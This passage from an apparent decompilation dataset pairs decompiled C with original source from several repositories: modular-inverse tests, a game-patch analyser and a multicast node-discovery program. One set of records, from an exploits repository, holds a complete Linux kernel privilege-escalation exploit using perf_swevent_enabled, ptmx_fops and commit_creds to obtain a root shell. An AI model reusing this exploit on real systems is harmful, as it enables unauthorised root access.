  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "l" "u" ", argument: %" "l" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 for (a = (18446744073709551615UL); a > (18446744073709551615UL) - 5000000; a -= 2) {
  uint64_t received = modular_inverse64(a);
  int64_t received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "l" "u" ", argument: %" "l" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 myseed();
 for (i=0; i < 5000000; i++) {
  a = myrand64() | 1;
  uint64_t received = modular_inverse64(a);
  int64_t received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "l" "u" ", argument: %" "l" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 return 0;
}

canonical_original_code:
int test_modular_inverse64()
{
 unsigned long a;
 int i;
 for (a=3; a < 5000000; a+=2) {
  unsigned long received = modular_inverse64(a);
  long received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "l" "u" ", argument: %" "l" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 for (a = (18446744073709551615UL); a > (18446744073709551615UL) - 5000000; a -= 2) {
  unsigned long received = modular_inverse64(a);
  long received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "l" "u" ", argument: %" "l" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 myseed();
 for (i=0; i < 5000000; i++) {
  a = myrand64() | 1;
  unsigned long received = modular_inverse64(a);
  long received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "l" "u" ", argument: %" "l" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 return 0;
}

variable_types:
received
unsigned long


decompiled_code:
__int64 test_modular_inverse32()
{
unsigned int v0; // ebx
unsigned int v1; // eax
int v2; // ebp

v0 = 3;
while ( 1 )
{
v1 = v0 * modular_inverse32(v0);
if ( v1 != -1 )
break;
v0 += 2;
if ( v0 == 5000001 )
{
v0 = -1;
while ( 1 )
{
v1 = v0 * modular_inverse32(v0);
if ( v1 != -1 )
goto LABEL_11;
v0 -= 2;
if ( v0 == -5000001 )
{
myseed();
v2 = 5000000;
while ( 1 )
{
v0 = myrand32() | 1;
v1 = v0 * modular_inverse32(v0);
if ( v1 != -1 )
break;
if ( !--v2 )
return 0LL;
}
goto LABEL_11;
}
}
}
}
LABEL_11:
printf("expected: -1, received: %u, argument: %u\n", v1, v0);
return 1LL;
}

original_code:
int test_modular_inverse32()
{
 uint32_t a;
 int i;
 for (a = 3; a < 5000000; a += 2) {
  uint32_t received = modular_inverse32(a);
  int32_t received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "u" ", argument: %" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 for (a = (4294967295U); a > (4294967295U) - 5000000; a -= 2) {
  uint32_t received = modular_inverse32(a);
  int32_t received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "u" ", argument: %" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 myseed();
 for (i=0; i < 5000000; i++) {
  a = myrand32() | 1;
  uint32_t received = modular_inverse32(a);
  int32_t received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "u" ", argument: %" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 return 0;
}

canonical_original_code:
int test_modular_inverse32()
{
 unsigned int a;
 int i;
 for (a = 3; a < 5000000; a += 2) {
  unsigned int received = modular_inverse32(a);
  int received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "u" ", argument: %" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 for (a = (4294967295U); a > (4294967295U) - 5000000; a -= 2) {
  unsigned int received = modular_inverse32(a);
  int received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "u" ", argument: %" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 myseed();
 for (i=0; i < 5000000; i++) {
  a = myrand32() | 1;
  unsigned int received = modular_inverse32(a);
  int received_minus_one = received * a;
  if (received_minus_one != -1) {
   printf("expected: -1, received: %" "u" ", argument: %" "u" "\n", received_minus_one, a);
   return 1;
  }
 }
 return 0;
}

variable_types:
received
unsigned int


repo: wjlandryiii/exploits

decompiled_code:
__int64 __fastcall calc_negative_offset(int a1, int a2)
{
int v2; // esi
__int64 result; // rax

v2 = a2 - a1;
result = (unsigned int)(v2 / 4);
if ( v2 > -4 )
result = (unsigned int)(result - 0x40000000);
return result;
}

canonical_decompiled_code:
__int64 __fastcall func9(int a1, int a2)
{
int v2; // esi
__int64 result; // rax

v2 = a2 - a1;
result = (unsigned int)(v2 / 4);
if ( v2 > -4 )
result = (unsigned int)(result - 0x40000000);
return result;
}

original_code:
int calc_negative_offset(int *base, int *element){
        unsigned int b = (unsigned int) base;
        unsigned int e = (unsigned int) element;
        int diff;
        int offset;
        diff = e - b;
        offset = diff / 4;
        if(offset >= 0){
                offset -= 0x40000000;
        }
        return offset;
}

variable_types:
base
int *

variable_types:
element
int *

variable_types:
b
unsigned int

variable_types:
e
unsigned int

variable_types: diff int

variable_types: offset int


decompiled_code:
__int64 __fastcall inc_address_as_kernel(int a1, int a2)
{
int v2; // eax

v2 = calc_negative_offset(a2, a1);
return perf_open(v2);
}

canonical_decompiled_code:
__int64 __fastcall func10(int a1, int a2)
{
int v2; // eax

v2 = func9(a2, a1);
return func7(v2);
}

original_code:
int inc_address_as_kernel(int *a, int *perf_swevent_enabled){
        int off = calc_negative_offset(perf_swevent_enabled, a);
        return perf_open(off);
}

variable_types:
a
int *

variable_types: off int


decompiled_code:
__pid_t __fastcall inc_addr_to_0x1000(int a1, int a2)
{
__pid_t *v2; // rbx
__pid_t result; // eax
int *v4; // rbx
char *v5; // rbp
_BYTE v6[2048]; // [rsp+0h] [rbp-828h] BYREF
char v7[40]; // [rsp+800h] [rbp-28h] BYREF

v2 = (__pid_t *)&children;
do
{
result = fork();
*v2 = result;
if ( !result )
{
v4 = (int *)v6;
v5 = v6;
do
{
*(_DWORD *)v5 = inc_address_as_kernel(a1, a2);
v5 += 4;
}
while ( v5 != v7 );
puts("child done");
raise(19);
puts("child exiting...");
do
close(*v4++);
while ( v4 != (int *)v7 );
exit(0);
}
++v2;
}
while ( v2 != (__pid_t *)&end );
return result;
}

canonical_decompiled_code:
__pid_t __fastcall func11(int a1, int a2)
{
__pid_t *v2; // rbx
__pid_t result; // eax
int *v4; // rbx
char *v5; // rbp
_BYTE v6[2048]; // [rsp+0h] [rbp-828h] BYREF
char v7[40]; // [rsp+800h] [rbp-28h] BYREF

v2 = (__pid_t *)&children;
do
{
result = fork();
*v2 = result;
if ( !result )
{
v4 = (int *)v6;
v5 = v6;
do
{
*(_DWORD *)v5 = func10(a1, a2);
v5 += 4;
}
while ( v5 != v7 );
puts("child done");
raise(19);
puts("child exiting...");
do
close(*v4++);
while ( v4 != (int *)v7 );
exit(0);
}
++v2;
}
while ( v2 != (__pid_t *)&end );
return result;
}

original_code:
void inc_addr_to_0x1000(int *p, int *perf_swevent_enabled){
        int fds[512];
        int i;
        int j;
        for(i = 0; i < 8; i++){
                children[i] = fork();
                if(children[i] == 0){
                        for(j = 0; j < 512; j++){
                                fds[j] = inc_address_as_kernel(p, perf_swevent_enabled);
                        }
                        printf("child done\n");
                        raise(19);
                        printf("child exiting...\n");
                        for(j = 0; j < 512; j++){
                                close(fds[j]);
                        }
                        exit(0);
                }
        }
}

variable_types:
p
int *

variable_types:
fds
int [512]

variable_types: i int

variable_types: j int


decompiled_code:
__int64 wait_for_stopped()
{
int v0; // ebp
unsigned int v1; // ebx

puts("waiting for stopped children...");
v0 = 8;
do
{
v1 = waitpid(-1, 0LL, 2);
if ( !v1 )
break;
if ( *__errno_location() == 10 )
break;
printf("%d stopped\n", v1);
--v0;
}
while ( v0 );
puts("all stopped");
return 0LL;
}

canonical_decompiled_code:
__int64 func12()
{
int v0; // ebp
unsigned int v1; // ebx

puts("waiting for stopped children...");
v0 = 8;
do
{
v1 = waitpid(-1, 0LL, 2);
if ( !v1 )
break;
if ( *__errno_location() == 10 )
break;
printf("%d stopped\n", v1);
--v0;
}
while ( v0 );
puts("all stopped");
return 0LL;
}

original_code:
int wait_for_stopped(){
        int pid;
        printf("waiting for stopped children...\n");
        int count = 0;
        while (pid = waitpid(-1, ((void *)0), 2)) {
                if ((*__errno_location ()) == 10) {
                        break;
                }
                printf("%d stopped\n", pid);
                count++;
                if(count == 8)
                        break;
        }
        printf("all stopped\n");
        return 0;
}

variable_types: pid int

variable_types: count int


decompiled_code:
__pid_t cont_and_wait_for_children()
{
unsigned int *v0; // rbx
__WAIT_STATUS v1; // rdi

v0 = (unsigned int *)&children;
do
{
v1.__uptr = (union wait *)*v0;
kill((__pid_t)v1.__uptr, 18);
++v0;
}
while ( v0 != (unsigned int *)&end );
wait(v1);
wait(v1);
wait(v1);
wait(v1);
wait(v1);
wait(v1);
wait(v1);
return wait(v1);
}

canonical_decompiled_code:
__pid_t func13()
{
unsigned int *v0; // rbx
__WAIT_STATUS v1; // rdi

v0 = (unsigned int *)&children;
do
{
v1.__uptr = (union wait *)*v0;
kill((__pid_t)v1.__uptr, 18);
++v0;
}
while ( v0 != (unsigned int *)&end );
wait(v1);
wait(v1);
wait(v1);
wait(v1);
wait(v1);
wait(v1);
wait(v1);
return wait(v1);
}

original_code:
void cont_and_wait_for_children(){
        int i;
        for(i = 0; i < 8; i++){
                kill(children[i], 18);
        }
        for(i = 0; i < 8; i++){
                wait();
        }
}


decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rbp
char *v4; // rbx
char *v5; // r12
char *v6; // r13
int v7; // eax
int v8; // ebx
int result; // eax

v3 = resolve_kern_sym("perf_swevent_enabled");
v4 = resolve_kern_sym("ptmx_fops");
v5 = resolve_kern_sym("prepare_kernel_cred");
v6 = resolve_kern_sym("commit_creds");
printf("0x%08x perf_swevent_enabled\n", v3);
printf("0x%08x ptmx_fops\n", v4);
printf("0x%08x prepare_kernel_cred\n", v5);
printf("0x%08x commit_creds\n", v6);
prepare_sc_mmap(4096LL, (int)v5, (int)v6);
inc_addr_to_0x1000((_DWORD)v4 + 56, (int)v3);
wait_for_stopped();
v7 = open("/dev/ptmx", 2);
if ( v7 == -1 )
{
puts("ERROR: Couldn't open /dev/ptmx! Aborting...");
cont_and_wait_for_children();
exit(-1);
}
v8 = v7;
fsync(v7);
close(v8);
cont_and_wait_for_children();
if ( getuid() )
{
puts("failed to set credentials");
result = -1;
}
else
{
puts("Starting shell...");
execl("/bin/sh", "sh", 0LL);
result = 0;
}
return result;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rbp
char *v4; // rbx
char *v5; // r12
char *v6; // r13
int v7; // eax
int v8; // ebx
int result; // eax

v3 = func8("perf_swevent_enabled");
v4 = func8("ptmx_fops");
v5 = func8("prepare_kernel_cred");
v6 = func8("commit_creds");
printf("0x%08x perf_swevent_enabled\n", v3);
printf("0x%08x ptmx_fops\n", v4);
printf("0x%08x prepare_kernel_cred\n", v5);
printf("0x%08x commit_creds\n", v6);
prepare_sc_mmap(4096LL, (int)v5, (int)v6);
func11((_DWORD)v4 + 56, (int)v3);
func12();
v7 = open("/dev/ptmx", 2);
if ( v7 == -1 )
{
puts("ERROR: Couldn't open /dev/ptmx! Aborting...");
func13();
exit(-1);
}
v8 = v7;
fsync(v7);
close(v8);
func13();
if ( getuid() )
{
puts("failed to set credentials");
result = -1;
}
else
{
puts("Starting shell...");
execl("/bin/sh", "sh", 0LL);
result = 0;
}
return result;
}

original_code:
int main(int argc, char *argv[]){
 void *sc_base = (void *)0x1000;
 int *perf_swevent_enabled;
 int *ptmx_fops;
 void *prepare_kernel_cred;
 void *commit_creds;
 int fd;
 perf_swevent_enabled = resolve_kern_sym("perf_swevent_enabled");
 ptmx_fops = resolve_kern_sym("ptmx_fops");
 prepare_kernel_cred = resolve_kern_sym("prepare_kernel_cred");
 commit_creds = resolve_kern_sym("commit_creds");
 printf("0x%08x perf_swevent_enabled\n", perf_swevent_enabled);
 printf("0x%08x ptmx_fops\n", ptmx_fops);
 printf("0x%08x prepare_kernel_cred\n", prepare_kernel_cred);
 printf("0x%08x commit_creds\n", commit_creds);
 prepare_sc_mmap(sc_base, prepare_kernel_cred, commit_creds);
 inc_addr_to_0x1000(ptmx_fops + 14, perf_swevent_enabled);
 wait_for_stopped();
 fd = open("/dev/ptmx", 02);
 if(fd == -1){
  printf("ERROR: Couldn't open /dev/ptmx! Aborting...\n");
  cont_and_wait_for_children();
  exit(-1);
 }
 fsync(fd);
 close(fd);
 cont_and_wait_for_children();
 if(getuid()){
  printf("failed to set credentials\n");
  return -1;
 }
 printf("Starting shell...\n");
 execl("/bin/sh", "sh", ((void *)0));
 return 0;
}

variable_types: argc int

variable_types:
argv
char *[]

variable_types: fd int


repo: wjp/freesci-archive

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
int v4; // er12
__int64 v5; // rbp
unsigned int v6; // er13
__int64 v7; // rbx
int result; // eax

if ( argc <= 1 )
return -1;
v3 = open(argv[1], 0, envp);
if ( v3 < 0 )
return -1;
v4 = open(argv[2], 0);
if ( v4 < 0 )
{
close(v3);
result = -1;
}
else
{
v5 = (int)sci_malloc(0x10000LL);
v6 = read(v3, (void *)v5, 0x10000uLL);
close(v3);
v7 = (int)sci_malloc(0x10000LL);
read(v4, (void *)v7, 0x10000uLL);
close(v4);
if ( *(_BYTE *)v5 != 0x89 || *(_BYTE *)(v5 + 1) )
{
if ( *(_BYTE *)v7 == 0x89 && !*(_BYTE *)(v7 + 1) )
analyze(v5, v6, v7 + 2);
else
analyze(v5, v6, v7);
}
else if ( *(_BYTE *)v7 == 0x89 && !*(_BYTE *)(v7 + 1) )
{
analyze(v5 + 2, v6 - 2, v7 + 2);
}
else
{
analyze(v5 + 2, v6 - 2, v7);
}
free((void *)v5);
free((void *)v7);
result = 0;
}
return result;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
int v4; // er12
__int64 v5; // rbp
unsigned int v6; // er13
__int64 v7; // rbx
int result; // eax

if ( argc <= 1 )
return -1;
v3 = open(argv[1], 0, envp);
if ( v3 < 0 )
return -1;
v4 = open(argv[2], 0);
if ( v4 < 0 )
{
close(v3);
result = -1;
}
else
{
v5 = (int)sci_malloc(0x10000LL);
v6 = read(v3, (void *)v5, 0x10000uLL);
close(v3);
v7 = (int)sci_malloc(0x10000LL);
read(v4, (void *)v7, 0x10000uLL);
close(v4);
if ( *(_BYTE *)v5 != 0x89 || *(_BYTE *)(v5 + 1) )
{
if ( *(_BYTE *)v7 == 0x89 && !*(_BYTE *)(v7 + 1) )
func0(v5, v6, v7 + 2);
else
func0(v5, v6, v7);
}
else if ( *(_BYTE *)v7 == 0x89 && !*(_BYTE *)(v7 + 1) )
{
func0(v5 + 2, v6 - 2, v7 + 2);
}
else
{
func0(v5 + 2, v6 - 2, v7);
}
free((void *)v5);
free((void *)v7);
result = 0;
}
return result;
}

original_code:
int main(int argc, char **argv)
{
  int fd1, fd2;
  unsigned char *patch001;
  unsigned char *patch004;
  unsigned int length001, length004;
  if (argc < 2)
    return -1;
  if ((fd1 = open(argv[1], 00)) < 0)
    return -1;
  if ((fd2 = open(argv[2], 00)) < 0) {
    close(fd1);
    return -1;
  }
  patch001 = (unsigned char *)sci_malloc(65536);
  length001 = read(fd1, patch001, 65536);
  close(fd1);
  patch004 = (unsigned char *)sci_malloc(65536);
  length004 = read(fd2, patch004, 65536);
  close(fd2);
  if (patch001[0] == 0x89 && patch001[1] == 0x00)
    if (patch004[0] == 0x89 && patch004[1] == 0x00)
      analyze(patch001 + 2, length001 - 2, patch004 + 2, length004 - 2);
    else
      analyze(patch001 + 2, length001 - 2, patch004, length004);
  else
    if (patch004[0] == 0x89 && patch004[1] == 0x00)
      analyze(patch001, length001, patch004 + 2, length004 - 2);
    else
      analyze(patch001, length001, patch004, length004);
  free(patch001);
  free(patch004);
  return 0;
}

canonical_original_code:
int main(int argc, char **argv)
{
  int fd1; int fd2;
  unsigned char *patch001;
  unsigned char *patch004;
  unsigned int length001; unsigned int length004;
  if (argc < 2)
    return -1;
  if ((fd1 = open(argv[1], 00)) < 0)
    return -1;
  if ((fd2 = open(argv[2], 00)) < 0) {
    close(fd1);
    return -1;
  }
  patch001 = (unsigned char *)sci_malloc(65536);
  length001 = read(fd1, patch001, 65536);
  close(fd1);
  patch004 = (unsigned char *)sci_malloc(65536);
  length004 = read(fd2, patch004, 65536);
  close(fd2);
  if (patch001[0] == 0x89 && patch001[1] == 0x00)
    if (patch004[0] == 0x89 && patch004[1] == 0x00)
      analyze(patch001 + 2, length001 - 2, patch004 + 2, length004 - 2);
    else
      analyze(patch001 + 2, length001 - 2, patch004, length004);
  else
    if (patch004[0] == 0x89 && patch004[1] == 0x00)
      analyze(patch001, length001, patch004 + 2, length004 - 2);
    else
      analyze(patch001, length001, patch004, length004);
  free(patch001);
  free(patch004);
  return 0;
}

variable_types:
argv
char **


repo: wjwwood/salix

decompiled_code:
__int64 __fastcall create_node_id(int a1)
{
return (unsigned int)(a1 % 10);
}

canonical_decompiled_code:
__int64 __fastcall func9(int a1)
{
return (unsigned int)(a1 % 10);
}

original_code:
uint32_t
create_node_id(int32_t process_id) {
    return process_id % 10;
}

canonical_original_code:
unsigned int create_node_id(int process_id) {
    return process_id % 10;
}


decompiled_code:
int __fastcall get_time_now(__time_t a1)
{
struct timespec tp; // [rsp+8h] [rbp-10h] BYREF

tp.tv_sec = a1;
return clock_gettime(0, &tp);
}

canonical_decompiled_code:
int __fastcall func10(__time_t a1)
{
struct timespec tp; // [rsp+8h] [rbp-10h] BYREF

tp.tv_sec = a1;
return clock_gettime(0, &tp);
}

original_code:
void
get_time_now (struct timespec *time)
{
  clock_gettime(0, &time);
}

canonical_original_code:
void get_time_now(struct timespec *time)
{
  clock_gettime(0, &time);
}

variable_types: struct timespec { long tv_sec; long tv_nsec; } *


decompiled_code:
__int64 __fastcall diff_timespec(_QWORD *a1, _QWORD *a2, _QWORD *a3)
{
__int64 result; // rax
__int64 v5; // rdx

if ( *a1 > *a2 )
perror("diffing timespecs");
result = *a2 - *a1;
*a3 = result;
v5 = a2[1] - a1[1];
if ( v5 < 0 )
{
a3[1] = (unsigned int)(int)(1000000000.0 - (double)(int)v5);
*a3 = --result;
}
else
{
a3[1] = v5;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func11(_QWORD *a1, _QWORD *a2, _QWORD *a3)
{
__int64 result; // rax
__int64 v5; // rdx

if ( *a1 > *a2 )
perror("diffing timespecs");
result = *a2 - *a1;
*a3 = result;
v5 = a2[1] - a1[1];
if ( v5 < 0 )
{
a3[1] = (unsigned int)(int)(1000000000.0 - (double)(int)v5);
*a3 = --result;
}
else
{
a3[1] = v5;
}
return result;
}

original_code:
void
diff_timespec (struct timespec *start, struct timespec *end, struct timespec *result)
{
  if (start->tv_sec > end->tv_sec)
  {
    perror("diffing timespecs");
  }
  result->tv_sec = end->tv_sec - start->tv_sec;
  result->tv_nsec = end->tv_nsec - start->tv_nsec;
  if (result->tv_nsec < 0)
  {
    result->tv_nsec = 1e9 - result->tv_nsec;
    result->tv_sec -= 1;
  }
}

canonical_original_code:
void diff_timespec(struct timespec *start, struct timespec *end, struct timespec *result)
{
  if (start->tv_sec > end->tv_sec)
  {
    perror("diffing timespecs");
  }
  result->tv_sec = end->tv_sec - start->tv_sec;
  result->tv_nsec = end->tv_nsec - start->tv_nsec;
  if (result->tv_nsec < 0)
  {
    result->tv_nsec = 1e9 - result->tv_nsec;
    result->tv_sec -= 1;
  }
}

variable_types:
end
struct timespec *

variable_types:
result
struct timespec *

user_defined_types: struct timespec { long tv_sec; long tv_nsec; }


decompiled_code:
int get_ecosystem_id()
{
char *v0; // rax
int result; // eax

v0 = getenv("ROS_ECOSYSTEM_ID");
if ( v0 )
result = atoi(v0);
else
result = 1;
return result;
}

canonical_decompiled_code:
int func12()
{
char *v0; // rax
int result; // eax

v0 = getenv("ROS_ECOSYSTEM_ID");
if ( v0 )
result = atoi(v0);
else
result = 1;
return result;
}

original_code:
uint32_t
get_ecosystem_id()
{
    char * value = getenv("ROS_ECOSYSTEM_ID");
    if (!value)
    {
        return 1;
    }
    return atoi(value);
}

canonical_original_code:
unsigned int get_ecosystem_id()
{
    char *value = getenv("ROS_ECOSYSTEM_ID");
    if (!value)
    {
        return 1;
    }
    return atoi(value);
}

variable_types:
value
char *


decompiled_code:
void __noreturn shutdown_handler()
{
int buf; // [rsp+3h] [rbp-15h] BYREF
int v1; // [rsp+7h] [rbp-11h]
int v2; // [rsp+Bh] [rbp-Dh]
char v3; // [rsp+Fh] [rbp-9h]

buf = get_ecosystem_id();
v1 = getpid();
v2 = create_node_id(v1);
v3 = 17;
if ( sendto(fd, &buf, 0xDuLL, 0, &addr, 0x10u) >= 0 )
exit(0);
perror("sendto");
exit(1);
}

canonical_decompiled_code:
void __noreturn func13()
{
int buf; // [rsp+3h] [rbp-15h] BYREF
int v1; // [rsp+7h] [rbp-11h]
int v2; // [rsp+Bh] [rbp-Dh]
char v3; // [rsp+Fh] [rbp-9h]

buf = func12();
v1 = getpid();
v2 = func9(v1);
v3 = 17;
if ( sendto(fd, &buf, 0xDuLL, 0, &addr, 0x10u) >= 0 )
exit(0);
perror("sendto");
exit(1);
}

original_code:
static void
shutdown_handler (int signal)
{
    struct broadcast_message bm_out;
    bm_out.ecosystem_id = get_ecosystem_id();
    bm_out.process_id = getpid();
    bm_out.node_id = create_node_id(bm_out.process_id);
    bm_out.msg_type = 0x11;
    if (sendto(fd, &bm_out, sizeof(bm_out), 0, (struct sockaddr *) &addr, sizeof(addr)) < 0)
    {
        perror("sendto");
        exit(1);
    }
    exit(0);
}

canonical_original_code:
static void shutdown_handler(int signal)
{
    struct broadcast_message bm_out;
    bm_out.ecosystem_id = get_ecosystem_id();
    bm_out.process_id = getpid();
    bm_out.node_id = create_node_id(bm_out.process_id);
    bm_out.msg_type = 0x11;
    if (sendto(fd, &bm_out, sizeof(bm_out), 0, (struct sockaddr *) &addr, sizeof(addr)) < 0)
    {
        perror("sendto");
        exit(1);
    }
    exit(0);
}

variable_types: signal int

variable_types: struct broadcast_message { unsigned int ecosystem_id; int process_id; unsigned int node_id; char msg_type; }


decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edi
__int16 v4; // bp
int v5; // ebx
int i; // eax
unsigned int v7; // ebx
socklen_t addr_len; // [rsp+Ch] [rbp-7Ch] BYREF
__int64 v10[2]; // [rsp+10h] [rbp-78h] BYREF
_QWORD v11[2]; // [rsp+20h] [rbp-68h] BYREF
_QWORD v12[3]; // [rsp+30h] [rbp-58h] BYREF
int optval; // [rsp+48h] [rbp-40h] BYREF
int v14[2]; // [rsp+4Ch] [rbp-3Ch] BYREF
int buf; // [rsp+56h] [rbp-32h] BYREF
unsigned int v16; // [rsp+5Ah] [rbp-2Eh]
int v17; // [rsp+5Eh] [rbp-2Ah]
char v18; // [rsp+62h] [rbp-26h]
unsigned int v19; // [rsp+63h] [rbp-25h] BYREF
unsigned int v20; // [rsp+67h] [rbp-21h]
unsigned int v21; // [rsp+6Bh] [rbp-1Dh]
char v22; // [rsp+6Fh] [rbp-19h]

if ( signal(2, (__sighandler_t)shutdown_handler) != (__sighandler_t)-1LL )
{
buf = get_ecosystem_id();
v16 = getpid();
printf("The process id of this node is [%d]\n", v16);
v17 = create_node_id(v16);
v18 = 16;
v3 = socket(2, 2, 0);
fd = v3;
if ( v3 < 0 )
{
perror("socket");
exit(1);
}
if ( fcntl(v3, 4, 2048LL, 1LL) == -1 )
perror("Non-Blocking");
optval = 1;
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
{
perror("Reusing ADDR failed");
exit(1);
}
if ( setsockopt(fd, 1, 15, &optval, 4u) < 0 )
perror("setsockopt (SOL_SOCKET, SO_REUSEPORT)");
*(_QWORD *)&addr.sa_family = 2LL;
*(_QWORD *)&addr.sa_data[6] = 0LL;
*(_DWORD *)&addr.sa_data[2] = inet_addr("225.82.79.83");
v4 = _bswap_16(11311);
*(_WORD *)addr.sa_data = v4;
*(_QWORD *)&addr2.sa_data[6] = 0LL;
addr2.sa_family = 2;
v5 = _bswap_32(0);
*(_DWORD *)&addr2.sa_data[2] = v5;
*(_WORD *)addr2.sa_data = v4;
if ( bind(fd, &addr2, 0x10u) < 0 )
{
perror("bind");
exit(1);
}
v14[0] = inet_addr("225.82.79.83");
v14[1] = v5;
if ( setsockopt(fd, 0, 35, v14, 8u) < 0 )
{
perror("setsockopt");
exit(1);
}
for ( i = 1; ; i = 0 )
{
if ( i )
{
get_time_now((__time_t)v12);
get_time_now((__time_t)v11);
diff_timespec(v12, v11, v10);
}
else
{
get_time_now((__time_t)v11);
diff_timespec(v12, v11, v10);
if ( !v10[0] )
goto LABEL_34;
}
if ( sendto(fd, &buf, 0xDuLL, 0, &addr, 0x10u) < 0 )
{
perror("sendto");
exit(1);
}
v18 = 0;
get_time_now((__time_t)v12);
LABEL_34:
addr_len = 16;
if ( recvfrom(fd, &v19, 0xDuLL, 0, &addr2, &addr_len) >= 0 )
{
v7 = v20;
if ( !v20 )
{
if ( v22 == 32 )
{
v18 = 33;
if ( sendto(fd, &buf, 0xDuLL, 0, &addr, 0x10u) < 0 )
{
perror("sendto");
exit(1);
}
}
goto LABEL_28;
}
if ( v7 != getpid() )
{
if ( v22 == 17 )
{
printf("[%d] Node [%d] with process id [%d] just shutdown\n", v19, v21, v20);
goto LABEL_28;
}
if ( v22 > 17 )
{
if ( v22 == 33 )
printf("[%d] Discovery response from node [%d] with process id [%d]\n", v19, v21, v20);
}
else
{
if ( !v22 )
{
printf("[%d] Heartbeat from node [%d] with process id [%d]\n", v19, v21, v20);
goto LABEL_28;
}
if ( v22 == 16 )
{
printf("[%d] Node [%d] with process id [%d] just started\n", v19, v21, v20);
goto LABEL_28;
}
}
printf(
"[%d] Unkown event [%d] received from node [%d] with process id [%d]\n",
v19,
(unsigned int)v22,
v21,
v20);
}
LABEL_28:
usleep(0x3E8u);
continue;
}
if ( *__errno_location() != 11 )
{
perror("recvfrom");
exit(1);
}
}
}
perror("signal");
return 1;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edi
__int16 v4; // bp
int v5; // ebx
int i; // eax
unsigned int v7; // ebx
socklen_t addr_len; // [rsp+Ch] [rbp-7Ch] BYREF
__int64 v10[2]; // [rsp+10h] [rbp-78h] BYREF
_QWORD v11[2]; // [rsp+20h] [rbp-68h] BYREF
_QWORD v12[3]; // [rsp+30h] [rbp-58h] BYREF
int optval; // [rsp+48h] [rbp-40h] BYREF
int v14[2]; // [rsp+4Ch] [rbp-3Ch] BYREF
int buf; // [rsp+56h] [rbp-32h] BYREF
unsigned int v16; // [rsp+5Ah] [rbp-2Eh]
int v17; // [rsp+5Eh] [rbp-2Ah]
char v18; // [rsp+62h] [rbp-26h]
unsigned int v19; // [rsp+63h] [rbp-25h] BYREF
unsigned int v20; // [rsp+67h] [rbp-21h]
unsigned int v21; // [rsp+6Bh] [rbp-1Dh]
char v22; // [rsp+6Fh] [rbp-19h]

if ( signal(2, (__sighandler_t)shutdown_handler) != (__sighandler_t)-1LL )
{
buf = func12();
v16 = getpid();
printf("The process id of this node is [%d]\n", v16);
v17 = func9(v16);
v18 = 16;
v3 = socket(2, 2, 0);
fd = v3;
if ( v3 < 0 )
{
perror("socket");
exit(1);
}
if ( fcntl(v3, 4, 2048LL, 1LL) == -1 )
perror("Non-Blocking");
optval = 1;
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
{
perror("Reusing ADDR failed");
exit(1);
}
if ( setsockopt(fd, 1, 15, &optval, 4u) < 0 )
perror("setsockopt (SOL_SOCKET, SO_REUSEPORT)");
*(_QWORD *)&addr.sa_family = 2LL;
*(_QWORD *)&addr.sa_data[6] = 0LL;
*(_DWORD *)&addr.sa_data[2] = inet_addr("225.82.79.83");
v4 = func7(11311);
*(_WORD *)addr.sa_data = v4;
*(_QWORD *)&addr2.sa_data[6] = 0LL;
addr2.sa_family = 2;
v5 = func8(0);
*(_DWORD *)&addr2.sa_data[2] = v5;
*(_WORD *)addr2.sa_data = v4;
if ( bind(fd, &addr2, 0x10u) < 0 )
{
perror("bind");
exit(1);
}
v14[0] = inet_addr("225.82.79.83");
v14[1] = v5;
if ( setsockopt(fd, 0, 35, v14, 8u) < 0 )
{
perror("setsockopt");
exit(1);
}
for ( i = 1; ; i = 0 )
{
if ( i )
{
func10((__time_t)v12);
func10((__time_t)v11);
func11(v12, v11, v10);
}
else
{
func10((__time_t)v11);
func11(v12, v11, v10);
if ( !v10[0] )
goto LABEL_34;
}
if ( sendto(fd, &buf, 0xDuLL, 0, &addr, 0x10u) < 0 )
{
perror("sendto");
exit(1);
}
v18 = 0;
func10((__time_t)v12);
LABEL_34:
addr_len = 16;
if ( recvfrom(fd, &v19, 0xDuLL, 0, &addr2, &addr_len) >= 0 )
{
v7 = v20;
if ( !v20 )
{
if ( v22 == 32 )
{
v18 = 33;
if ( sendto(fd, &buf, 0xDuLL, 0, &addr, 0x10u) < 0 )
{
perror("sendto");
exit(1);
}
}
goto LABEL_28;
}
if ( v7 != getpid() )
{
if ( v22 == 17 )
{
printf("[%d] Node [%d] with process id [%d] just shutdown\n", v19, v21, v20);
goto LABEL_28;
}
if ( v22 > 17 )
{
if ( v22 == 33 )
printf("[%d] Discovery response from node [%d] with process id [%d]\n", v19, v21, v20);
}
else
{
